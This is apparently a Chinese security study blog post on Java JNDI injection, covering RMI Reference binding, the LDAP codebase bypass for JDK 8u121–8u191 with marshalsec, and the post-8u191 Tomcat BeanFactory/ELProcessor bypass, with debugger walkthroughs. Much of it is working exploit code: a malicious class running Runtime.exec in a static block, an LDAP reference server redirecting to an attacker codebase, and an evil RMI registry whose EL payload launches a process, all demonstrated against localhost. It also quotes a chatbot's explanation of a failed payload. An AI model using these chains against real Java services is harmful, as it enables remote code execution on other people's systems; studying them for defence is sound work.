什么是JNDI
Java命名目录接口(Java Naming and Directory Interface),作用是为JAVA应用程序提供命名和目录访问服务的API(application programming interface)。
可绑定的对象有哪些:
* 轻量级目录访问协议 (LDAP)
* 通用对象请求代理体系结构 (CORBA) 通用对象服务 (COS) 名称服务
* Java 远程方法调用 (RMI) 注册表
* 域名服务 (DNS)
前三种都是支持一种字符串就绑定一种对象
注:这里JDNI注入就可以用到我们之前的RMI的知识了。之前一直不知道学了RMI有什么用,一直想着怎么利用RMI造成攻击来着,今天总算清楚点了,原来RMI是一个功能,并不是一个漏洞,他不能自己造成攻击,他需要配合其他的东西来造成攻击。
先来回顾一下RMI的简单流程:
起一个JNDIServer:
package org.example;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
public class JNDIServer {
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
}
}
代码逻辑:
1.创建注册中心
2.创建上下文容器
3.容器绑定服务
运行Client:
package org.example;
import javax.naming.InitialContext;
import java.rmi.RemoteException;
public class RMIClient {
public static void main(String[] args) throws Exception, RemoteException {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
如此就完成了最简单的Server端与Client端交互
现在假设这样一个场景:
在Client端允许我们控制rmi://localhost:1099/remoteObj
,即lookup(Path)
的Path
。就可以使用一个恶意服务来使得客户端允许恶意代码造成代码执行,这就是所谓的JNDI注入。
根据官方文档:
我们可以得到可以绑定的对象有:
1.Java可序列化对象
2.可引用对象和JNDI引用
3.具有属性的对象(DirContext)
4.RMI对象
5.CORBA对象
在上述示例中我们绑定的是RMI对象,但是通常我们所说的JNDI注入一般是绑定 引用对象 所造成的攻击
首先介绍一下 这个引用对象`Reference类`的构造函数:
public Reference(String className, RefAddr addr,
String factory, String factoryLocation) {
this(className, addr);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
className 类名
factory 工厂名
factoryLocation工厂路径
这个工厂就是具体的代码逻辑,允许代码执行,但是忽略了恶意代码执行,因此存在注入攻击
演示代码
JNDIServer:
package org.example;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
public class JNDIServer {
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
Reference reference = new Reference("TestRef", "TestRef", "http://localhost:9999/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}
注意initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
中是绑定到RMI服务上面,不是使用http协议
JNDIClient:
package org.example;
import javax.naming.InitialContext;
import java.rmi.RemoteException;
public class RMIClient {
public static void main(String[] args) throws Exception, RemoteException {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
然后预先编译好一个恶意类:(注意这个要加载的恶意类不能有package之类的,这样子到时候无法执行)
import java.io.IOException;
public class TestRef {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
演示步骤:
1.将编译好的恶意类放在一个目录下,并启动http服务:
python -m http.server 9999
2.开启JNDIServer服务
3.允许Client
效果:
PS:这里没有报错是因为没有找到remote.sayHello
结论
如果Client
端的lookup(Path)
的Path
我们可以控制就可以利用构造恶意引用对象达到恶意攻击Client
端
流程分析
这里的JNDI是怎么执行到这个恶意类的代码的,我们从lookup下个断点跟进去看看
这里调试可能会没有源码,因为这个问题卡了我半小时多快气死了给师傅们src.zip少走点弯路吧📎src.zip
我们下断点开始调试:
跟到lookup里面
再跟到lookup里
依旧跟到lookup里
到这一步可以看到获取到的是obj
是ReferenceWrapper_Stub
这很奇怪,按理来说在服务端绑定的是Reference
,
客户端查找服务为什么变成了ReferenceWrapper_Stub
这里我们可以从服务端调试一下
绑定的时候肯定没问题就是Reference
类,那么出问题的地方肯定就是在rebind
那里了
下断点跟到rebind
里调试,一样是一路跟进rebind,直到RegistryContext类
在这一步进行encodeObject
之前他还是保持Reference
类
我们跟到encodeObject
中去看一下
可以看到这里检测如果obj是Reference类就爆他包装成ReferenceWrapper类返回
接下来我们回头看调用的时候
因为服务端包装的时候encode了,所以客户端解析的时候肯定decode一下,再跟进去看(可以猜到是相反的逻辑):
可以看到是已经又返回成了Reference
类
我们这里可以留意到我们还在RegistryContext
里面并且即将退出RegistryContext
这个类这个类是RMI
对应这个RegistryContext
,但是还没有初始化,要到NamingManager
类中去。因此这里执行代码的逻辑和容器的环境并没有关系,并不是RMI才独有这个漏洞,这个后续绕过的时候会再次用到这个点。(后面高版本绕过还会提到)
接下来到静态函数中发现这里会从引用中找到对象工厂,跟进去看他的逻辑
发现直接利用loadClass进行加载,再跟进去看看loadClass的逻辑
首先loadClass
要获取类加载器,发现这里的getConetxtClassloader()
获取不到类加载器,于是到下一个loadClass
可以看到这里是一个AppclassLoader
,跟进去
发现他使用codebase去获取类加载器:
codebase就是我们传入的http服务
这里利用了URLClassLoader来加载,那么就可以加载到我们的http服务的类
并且这里使用了newInstance,说明这里会对类进行初始化,所以如果我们把恶意代码写道静态代码块中,下一步就可以弹出计算器了,我们执行下一步:
可以看到弹出计算器了
就是是写在构造函数中的代码也可以得到执行,因为后续代码有Class.forName(className, true, cl);
设置了true选项,会对类进行实例化,这样子构造函数中的恶意代码也可以得到执行
小结
攻击面有两个方法:
1.原生RMI的漏洞问题
2.JNDI独有的引用问题,就是上面的分析流程产生的安全问题
[+]我们常说的JDNI注入就是第二个方法(引用)
版本(8u121<jdk<8u191)
绕过
客户端还是很简单:
package org.example;
import javax.naming.InitialContext;
import java.rmi.RemoteException;
public class RMIClient {
public static void main(String[] args) throws Exception, RemoteException {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("ldap://localhost:8888/TestRef");
System.out.println(remoteObj.sayHello("hello"));
}
}
//8u141
环境先搭好,8u121之前就只剩下一个LDAP方式可以利用攻击了,所以要有一个LDAP服务器
推荐两种方式:
- 直接用Java代码生成一个,本地运行
package org.example;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://192.168.43.88/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
//记得添加依赖:
/*
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
*/
- 用github上的项目
这里就用github上的项目了
https://github.com/mbechler/marshalsec
在本地打包成jar包之后就可以运行了
打包完之后进入target项目,运行命令:
java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://localhost:9999/#TestRef](http://localhost:9999/#TestRef) 8888
这样子就算在本地起了一个LDAP服务了
含义:
监听8888端口,当接收到ldap请求后,会去[http://localhost](http://localhost:80):9999这个服务下寻找TestRef.class
流程分析
流程演示
1.首先本地在恶意类这里开一个http服务,让LDAP接收
2.然后把LDAP服务开起来:
java -jar .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer [http://localhost:9999/#TestRef](http://localhost:9999/#TestRef) 8888
如果接收到http服务,这里会显示Listening on 0.0.0.0:8888
运行效果:(8u141)
代码分析
在lookup
这里下个断点进去找
前面都一路跟着lookup
,一直到c_lookup
进入到类ldapctx
里面
进入到一处:
if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
// serialized object or object reference
obj = Obj.decodeObject(attrs);
}
这里会获取ldap的属性,进入decodeObject,看一下他解析的逻辑:
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
return null;
} catch (IOException e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
我们知道JNDI支持:
- 序列化对象 –> 对应
deserializeObject((byte[])attr.get(), cl);
- 远程对象 –> 对应
decodeRmiObject((String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),(String)attr.get(), codebases);
- ldap对象 –> 对应
decodeReference(attrs, codebases);
这里因为我们是一个引用对象,所以他会走到decodeReference(attrs, codebases);
在decodeReference
这个里面呢主要就是获取恶意类的类名,地址之类的,解析完成:
现在有类名,地址,那么就是查找远程恶意类了
一直走到这个地方,这里是执行DirectoryManager.getObjectInstance
。上次调试原生JNDI攻击的时候是调用的NamingManager.getObjectInstace
,都是这样通过调用getObjectInstance
方法走出自己类所对应的Context类
然后走到工厂引用里面去找类:
后面的流程就都一样了
loadclass:
使用URLLoadClass:
接下来forname实例化:
这个流程就和之前分析的一样了
高版本绕过(JDK>8u191)
前言
在8u191之后在LDAP那里也加了一个trustURLCodebase的判断,因此LDAP这一条路也被封死了。
因此现在LDAP、RMI等攻击手法都被封锁了。我们想要从远程加载类就变得异常困难,我们可以重新看一下代码的逻辑:
从本地尝试加载类->加载不到则从远程加载类
那么无法从远程加载类,是否可以从本机尝试加载这个类,并达到RCE的目的呢?
答案是有的,不过对客户端的环境有所需求,不过其实这个条件也不算是特别苛刻。因为这里用到的是tomcat内置的包,现在比较主流的Java网站不少都是使用springboot搭建的,而springboot内置的就是Tomcat
介绍
先来看一下关键先生:BeanFactory类 这个类就是可以利用的恶意类
这个类实现了ObjectFactory接口,ObjectFactory接口里面只有一个抽象方法:getObjectInstance
public interface ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable<?,?> environment) throws Exception;
}
恶意类需满足的条件
只要远程加载地址factoryClassLocation
为null时NamingManager.getObjectInstance
这个代码就会在com.sun.jndi.rmi.registry.RegistryContext.java
中运行
因为RegistryContext
是RMI对应的利用类即利用RMI且不加载远程地址就会执行这个利用链。而NamingManager.getObjectInstance
又会执行getObjectFactoryFromReference
getObjectFactoryFromReference
这是一个静态方法,这个静态方法会返回ObjectFactory
类型,并且这里使用了newInstance构造,所以这个类还需要满足拥有无参构造方法
ObjectFactory
我们上面有提到是一个接口类,他只有一个抽象方法,getObjectFactory
public interface ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable<?,?> environment) throws Exception;
}
而刚刚好org.apache.naming.factory.BeanFactory
满足所有要求,在BeanFacory
中的getObjectInstance
可以精心构造,从而执行恶意代码。
但是若是想要执行这个恶意代码还需要一个JavaBean
,JaveBean
需要满足的条件:
(1)forceString
指定某个特殊方法名
RefAddr ra = ref.get("forceString");
(2)拥有无参构造方法
beanClass.newInstance()
(3)含有恶意方法
public class ELProcessor {
public Object eval(String expression) {
return this.getValue(expression, Object.class);
}
}
运行流程
需要提前设置好pom的依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
我这里Maven用的是阿里云的镜像,这个el文件加载不到,于是我下了一个jar包,然后导入进去就可以了
📎com.springsource.org.apache.el-7.0.26.jar
RMIServer端:
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class LDAPServer {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1099");
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
RMIClient端:
package org.example;
import javax.naming.InitialContext;
public class RmiClient {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://127.0.0.1:1099/Object");
}
}
运行结果:
流程分析
一路跟进lookup直到RegistryContext
的decodeObject
中
不加载远程类进入NamingManager
进入NamingManager
之后是调用BeanFactory
的getObjectInstance
46行加载恶意的JavaBean
类ELProcessor
58行获取forceString
的属性,即x=eval
这一步可以使得强制将bean对象某个属性的setter方法名指定为非setXXX()。从而就算不用使用setxxx()的方法也可以传入beanClas.getMethod()中,这样就可以成功把我们恶意的代码放到hashMap中。
再通过我们第二个add的元素x来作为方法名反射获取一个参数类型是 String.class的方法
后面反射调用就成功执行恶意代码了
踩的坑
坑1
RMIServer端代码有问题:
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;
public class LDAPServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "",
true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://127.0.0.1:1099/exp", resourceRef);
System.out.println("Creating evil RMI registry on port 1099");
}
}
报错:
Exception in thread "main" javax.naming.NamingException: Forced String setter eval threw exception for property x
at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:215)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:321)
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at org.example.RmiClient.main(RmiClient.java:7)
原因chatgpt说是:
这段代码中创建的ResourceRef对象中的攻击代码也不同于之前的代码。
它使用了Java的反射机制动态加载并执行了一个JavaScript脚本,以触发远程命令执行。这种方式比之前代码中的攻击代码更灵活和可移植,
因为JavaScript引擎是Java标准库的一部分,不依赖于特定的JDK实现或其他依赖项。
因此,这段代码可以在大多数JDK版本中运行,并且具有更好的可移植性和灵活性,可以更容易地触发远程命令执行。
坑2
试图使用SpringBoot启动,因为SpringBoot
自带tomcat。但是现在新建的SpringBoot
的Tomcat
的版本都是9.x,而这个漏洞在Tomcat版本8.5.85已经被修复了,如果试图修改SpringBoot
内置的tomcat
也有办法,但是麻烦麻烦麻烦。
如果打高版本的Tomcat
就会出现如下报错信息:
四月 14, 2023 12:17:31 下午 org.apache.naming.factory.BeanFactory getObjectInstance
警告: The forceString option has been removed as a security hardening measure. Instead, if the setter method doesn't use String, a primitive or a primitive wrapper, the factory will look for a method with the same name as the setter that accepts a String and use that if found.
Exception in thread "main" javax.naming.NamingException: No set method found for property [x]
at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:206)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:321)
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at com.example.demospring.RMIClient.main(RMIClient.java:10)